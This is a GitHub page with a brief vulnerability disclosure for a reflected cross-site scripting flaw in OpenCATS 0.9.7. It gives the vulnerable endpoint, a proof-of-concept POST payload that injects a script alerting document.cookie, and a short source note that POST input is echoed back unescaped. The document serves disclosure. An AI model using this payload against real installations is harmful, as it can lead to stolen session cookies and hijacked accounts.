Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Opencats-0.9.7-Reflected XSS in onChangeTag

Date: 2022/12/25

Exploit Author: Sakura501

Vendor Homepage: https://www.opencats.org/

Software Link: https://github.com/opencats/OpenCATS

Version: 0.9.7

Tested on: Windows11/PHP7.3.4/MySQL5.7.26

URL&POC

http://192.168.2.153/src/opencats/index.php?m=settings&a=ajax_tags_upd

POST:tag_title=<script>alert(document.cookie);</script>

Result show

Just visit http://192.168.2.153/src/opencats/index.php?m=settings&a=ajax_tags_upd and post tag_title=<script>alert(document.cookie);</script>, then the reflected XSS will be triggered.

image

Source code analysis

Directly echo the content of POST, it should be deleted.

image

image